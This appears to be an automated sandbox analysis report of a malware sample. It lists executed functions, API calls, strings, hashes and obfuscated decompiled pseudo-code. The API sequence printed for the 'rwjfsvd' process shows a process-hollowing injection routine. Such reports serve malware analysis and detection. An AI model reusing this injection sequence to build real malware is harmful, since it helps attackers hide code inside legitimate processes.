String ID:
API String ID:
Opcode ID: 36c7c2ea362ab175c8faec48889e7f9c448137358fc225cecc8bd01fb5f49981
Instruction ID: 0d435e3da4236d765e4c301cf304dd2dd2fe2570b998ddab2789a7de4284b15f
Opcode Fuzzy Hash: 36c7c2ea362ab175c8faec48889e7f9c448137358fc225cecc8bd01fb5f49981
Instruction Fuzzy Hash: 1001A27800265CAB972DCAA5D5D9041FFA9EE06330FA8EC8DC7824FD42CEB57086C643

Uniqueness

Uniqueness Score: -1.00%

Function 0040201A, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.332169445.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50abe3c5d8af24f71ceee97d10064826831867a7979f46442cde13a65a6779ae
Instruction ID: 7ec0170f8d63d1cb41ea52610257a3a2e440b84d0ce0a50aa0c143b35ceb2a17
Opcode Fuzzy Hash: 50abe3c5d8af24f71ceee97d10064826831867a7979f46442cde13a65a6779ae
Instruction Fuzzy Hash: 26F0C87410020D6ED22CD7A0D185052B7A4FFC1304F611D5DC3422BCA2C939B853DA83

Uniqueness

Uniqueness Score: -1.00%

Function 0040201E, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.332169445.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 348556ee60875952d1b353ddc5f2ef97f6264277c173934fb5a6c0ffb2736ff7
Instruction ID: a43892d0f1fc751e2312f163d4b39de440685b5976e97a52a0fb587587c89ddc
Opcode Fuzzy Hash: 348556ee60875952d1b353ddc5f2ef97f6264277c173934fb5a6c0ffb2736ff7
Instruction Fuzzy Hash: 32F0AF7400424D6E93299B719585092BBA4FF82304F611D8EC3825BC62CA3AB893CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0040202D, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.332169445.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91acaab0455c819429546f4fe30140ad69fd9360310cbf4e3092104b92557cb0
Instruction ID: d517fed31536b1fc2a21567abd7de147b63b6840b6cf7dc9692091a0263e9a5e
Opcode Fuzzy Hash: 91acaab0455c819429546f4fe30140ad69fd9360310cbf4e3092104b92557cb0
Instruction Fuzzy Hash: D4F0C27410421DAE926CDBA0D185092BBA4FFD2304F615D5DC3426BCA2CA3AF853DA82

Uniqueness

Uniqueness Score: -1.00%

Function 00402084, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.332169445.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2fd54db6ca68966c6ea549734bc74dc57af9ffe16b4078303ef16f8b7efa8fb
Instruction ID: b234b1e164d4dd428b17fdfb9b1103a254be6e4ce54d4f1e89fdf23064b212e5
Opcode Fuzzy Hash: b2fd54db6ca68966c6ea549734bc74dc57af9ffe16b4078303ef16f8b7efa8fb
Instruction Fuzzy Hash: 15E0C26910150E6E865C8A7195440D2B7D6FFC2240BA12D49C3062BC22893AB883D591

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rwjfsvd PID: 6856 Parent PID: 664 rwjfsvdCOMMON

Execution Graph

Execution Coverage:	18.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	28.2%
Total number of Nodes:	39
Total number of Limit Nodes:	8

Executed Functions

Function 00570110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00570156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0057016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00570255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00570270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00570283
GetThreadContext.KERNELBASE(00000000,?), ref: 0057029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005702C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005702E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00570304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0057032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00570399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005703BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005703E1
ResumeThread.KERNELBASE(00000000), ref: 005703ED
ExitProcess.KERNEL32(00000000), ref: 00570412

Memory Dump Source

Source File: 0000000E.00000002.368810126.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_570000_rwjfsvd.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 75194dc1ddf31dfd42f7d086fa99d3ba0f79df4612f653aec3d5d99c565ffe0e
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: FFB1B674A00208EFDB44CF98C895F9EBBB5BF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00570630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 005706E2

Strings

NtWriteVirtualMemory, xrefs: 0057112C, 00571132
RegisterClassExA, xrefs: 005711B7, 005711BD
CreateWindowExA, xrefs: 0057123E, 00571244
ntdll.dll, xrefs: 00570FE2, 00570FE8
PostMessageA, xrefs: 005712B0, 005712B6
GetMessageExtraInfo, xrefs: 00570794, 0057079A
WriteFile, xrefs: 005708CD, 005708D0
NtUnmapViewOfSection, xrefs: 00571085, 0057108B
CloseHandle, xrefs: 00570938, 0057093E
GetMessageA, xrefs: 005712F7, 005712FA
VirtualAlloc, xrefs: 00570AC1, 00570AC7
GetFileAttributesA, xrefs: 005713D7, 005713DA
WinExec, xrefs: 00570820, 00570823
CreateProcessA, xrefs: 005709BB, 005709C1
CreateFileA, xrefs: 0057088B, 00570891
MessageBoxA, xrefs: 005706EE, 005706F4
ReadProcessMemory, xrefs: 00570C4A, 00570C50
VirtualAllocEx, xrefs: 00570B44, 00570B4A
GetModuleFileNameA, xrefs: 00570EFB, 00570EFE
SetThreadContext, xrefs: 00570D7A, 00570D80
DefWindowProcA, xrefs: 00571374, 0057137A
WaitForSingleObject, xrefs: 00570E95, 00570E9B
GetThreadContext, xrefs: 00570A4C, 00570A52
ResumeThread, xrefs: 00570DEF, 00570DF5
ExitProcess, xrefs: 00571554, 0057155A
GetCommandLineA, xrefs: 00570F82, 00570F88
kernel32, xrefs: 005707ED, 005707F3
VirtualProtectEx, xrefs: 005714E9, 005714EF
WriteProcessMemory, xrefs: 00570CE9, 00570CEF
VirtualFree, xrefs: 00570BB2, 00570BB8
user32, xrefs: 005706DB, 005706E1
GetStartupInfoA, xrefs: 0057145B, 00571461

Memory Dump Source

Source File: 0000000E.00000002.368810126.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_570000_rwjfsvd.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: cc654b83f7d4d20a563c011fd225cf11ee9c771605afc2aa96c638a896fd4116
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: AAA25460D0C6E9CDEB21C668CC4C7DDBEB51B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00570420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00570533

Strings

0, xrefs: 00570492
saodkfnosa9uin, xrefs: 005704DA
mfoaskdfnoa, xrefs: 00570520, 00570523
d, xrefs: 00570584

Memory Dump Source

Source File: 0000000E.00000002.368810126.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_570000_rwjfsvd.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: afcc24ee26740f915b68ef4632c6671afe8dec894add327fb0abb1c8be4792a8
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: B2510970D08388DAEB11CB98D849BDDBFF26F11708F144058D5486F2C6C3BA5658CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 005705B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005705EC

Strings

o, xrefs: 00570600
apfHQ, xrefs: 005705E2, 005705E5

Memory Dump Source

Source File: 0000000E.00000002.368810126.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_570000_rwjfsvd.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5d20a7744bc3e6423822e5bde09c9cc381b2fc476a90569757841db8b835092e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 23011E70C0424CEADF10DB98D5587AEBFF5AF41308F148099C4092B282D7769B59DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 007B6011, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 007B6059

Memory Dump Source

Source File: 0000000E.00000002.368992329.00000000007B1000.00000040.00000001.sdmp, Offset: 007B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7b1000_rwjfsvd.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: cb42e9afc58ecd8967b66da3df84273134c2fa78151fb33f03a36fb00f83182f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 0DF09032200715AFD7203BFAA88DFAE76ECAF49725F100568E742D14C0DBBCEC454A61

Uniqueness

Uniqueness Score: -1.00%

Function 007B5CD0, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 007B5D21

Memory Dump Source

Source File: 0000000E.00000002.368992329.00000000007B1000.00000040.00000001.sdmp, Offset: 007B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7b1000_rwjfsvd.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a1fc17b68374a36f2ec3e5be59b7d77a2684eb288c11dbf81832f76f2a08d4f0
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: DB113C79A00208EFDB01DF98C989E98BBF5AF08351F158094F9489B362D375EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00570042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.368810126.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_570000_rwjfsvd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 19a82ced36c4c353d2cf9c5cfade64825d3ae34f394905e62db03716d5c7414b
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: D1117C72340100EFEB54DE65EC99FA677EAFB88330B698165E908CB352D676EC01D760

Uniqueness

Uniqueness Score: -1.00%

Function 007B58EE, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.368992329.00000000007B1000.00000040.00000001.sdmp, Offset: 007B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7b1000_rwjfsvd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a6d29ecb2fa164642989392efff311b069a7d042da7320badc02f4e4d07d4819
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: C61179B2740600EFDB44DF55DC81FE673EAEB88330B298165E908CB316E679E802C760

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rwjfsvd PID: 6844 Parent PID: 6856 rwjfsvdCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 0000000F.00000002.382337297.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_rwjfsvd.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000F.00000002.382337297.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_rwjfsvd.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000F.00000002.382337297.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_rwjfsvd.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: F805.exe PID: 6800 Parent PID: 3352 F805.exeCOMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	3.3%
Signature Coverage:	0%
Total number of Nodes:	337
Total number of Limit Nodes:	3

Executed Functions

Function 004027CA, Relevance: .4, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.415120845.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F805.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction ID: 0338b83136466491310ec3fcb80edeb4c240d654d82b0732370eb0c756bdbeb0
Opcode Fuzzy Hash: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction Fuzzy Hash: D4C1B93210E141DFEB00AE24EEC98DAFB65FF1633477001ABD8426B1D2C67B5542DB66

Uniqueness

Uniqueness Score: -1.00%

Function 004B07A6, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 004B07EE

Memory Dump Source

Source File: 00000010.00000002.415316736.00000000004B0000.00000040.00000001.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4b0000_F805.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 0ee5d2996cb4697eab9abdc46cf28c4c5ec05b61019354676a638acd7f008353
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E2F062311017116FD7203AB5988DAAFB7ECAF49766F10056AE642911C0DE78F8454A75

Uniqueness

Uniqueness Score: -1.00%

Function 004B0465, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 004B04B6

Memory Dump Source

Source File: 00000010.00000002.415316736.00000000004B0000.00000040.00000001.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4b0000_F805.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 1d7c54f9b752043f7fd156f200c53e1b36436ed6ca17afae0d88c3c60b4dbe96
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 2A116C79A00208EFCB01DF98CA85E99BBF1EF08351F058095FA489B362D335EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00402A07, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E00402A07(void* __edi, signed int __esi, void* __fp0) {
				signed int _t51;
				void* _t53;
				signed int _t56;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t81;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				signed int _t109;
				signed int* _t132;
				void* _t137;
				void* _t140;
				void* _t143;
				intOrPtr _t145;
				signed int* _t146;
				signed int _t147;
				void* _t149;
				signed int _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t159;
				signed int _t160;
				signed int _t161;
				signed int _t166;
				void* _t174;
				void* _t181;
				signed long long _t183;

				_t181 = __fp0;
				_t153 = __esi;
				_t149 = __edi;
				asm("out 0x59, eax");
				asm("rcr byte [esi], cl");
				asm("fsubr dword [esi-0x2da4a48c]");
				asm("cmpsd");
				asm("movsb");
				asm("cs cmpsd");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x59c6df54]");
				_t145 = ds;
				 *(__esi - 0x2f) =  *(__esi - 0x2f) | __esi;
				_pop(_t81);
				_t51 = _t154;
				_t4 = _t51 + 0x4ab073ae;
				_t146 =  *_t4;
				 *_t4 = _t145;
				asm("enter 0x9e6f, 0x38");
				asm("cmc");
				 *__esi =  *__esi ^ __esi;
				asm("rcl byte [edi+0x7f], 1");
				asm("fcomp dword [edi+0x795eb05f]");
				asm("lds esi, [eax+0x45b3f1a9]");
				_t166 = _t51 & 0xb345b3f1;
				asm("movsb");
				asm("movsb");
				_t140 = 0x9d;
				_t53 = E00401277(0x2a84, _t81, __edi, __esi, 0x5e, _t166);
				_pop(_t85);
				 *(_t85 + 0x3e) =  *(_t85 + 0x3e) ^ 0x00000012;
				_pop(_t86);
				 *((intOrPtr*)(_t86 + 0x35)) =  *((intOrPtr*)(_t86 + 0x35)) - _t86;
				asm("aaa");
				_t91 = 0x5b5b695b;
				 *((intOrPtr*)(_t91 + 0x3e)) =  *((intOrPtr*)(_t91 + 0x3e)) - 0x12;
				_pop(_t92);
				 *((intOrPtr*)(_t92 + 0x68)) =  *((intOrPtr*)(_t92 + 0x68)) - _t92;
				asm("aaa");
				asm("aaa");
				_t109 = 0x5b5b695b;
				asm("das");
				_t160 = _t159 - 1;
				_t56 = _t53 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t156 = 0xdea4a4a7;
				asm("wait");
				_push(_t160);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t153);
				_t150 = _t149 -  *0xFFFFFFFFDEA4A4EF;
				_t168 = _t109 ^ _t150;
				if((_t109 ^ _t150) < 0) {
					_pop(_t132);
					_t153 = _t153 +  *((intOrPtr*)(_t56 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t156 = 0xdea4a4a7 - _t150;
					asm("int3");
					 *_t132 =  *_t132 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t137 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t71 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t71 - 0x15)) =  *((intOrPtr*)(_t71 - 0x15)) + _t137;
					_t72 = _t71 + 0xf4eb4097;
					asm("movsd");
					_t140 = 0x9a;
					_t56 = E00401277(_t72, _t137, _t150, _t153, _t156, _t168);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t160 = 0x10eba4a4 |  *(_t153 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t161 = _t160 |  *(_t153 + _t156 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t161);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t183 = (_t181 - _t146[0x1a]) *  *_t146;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t147);
					asm("salc");
					_t183 = _t183 +  *_t153;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t56;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t56 = 0x49;
					_t148 = _t147 ^  *0xd05b5b70;
				} while ((_t147 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t152);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t153);
				_t174 = _t140 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t59 =  *_t161;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t59, 0x688e1679, _t152, _t153, 0x13eba4a4, _t174);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t62 = E004025E8(_t152, _t153, _t174); // executed
				_t175 = _t62;
				if(_t62 != 0) {
					if(E00401F34(_t152, _t175,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L26:
						_t180 = gs;
						if(gs != 0) {
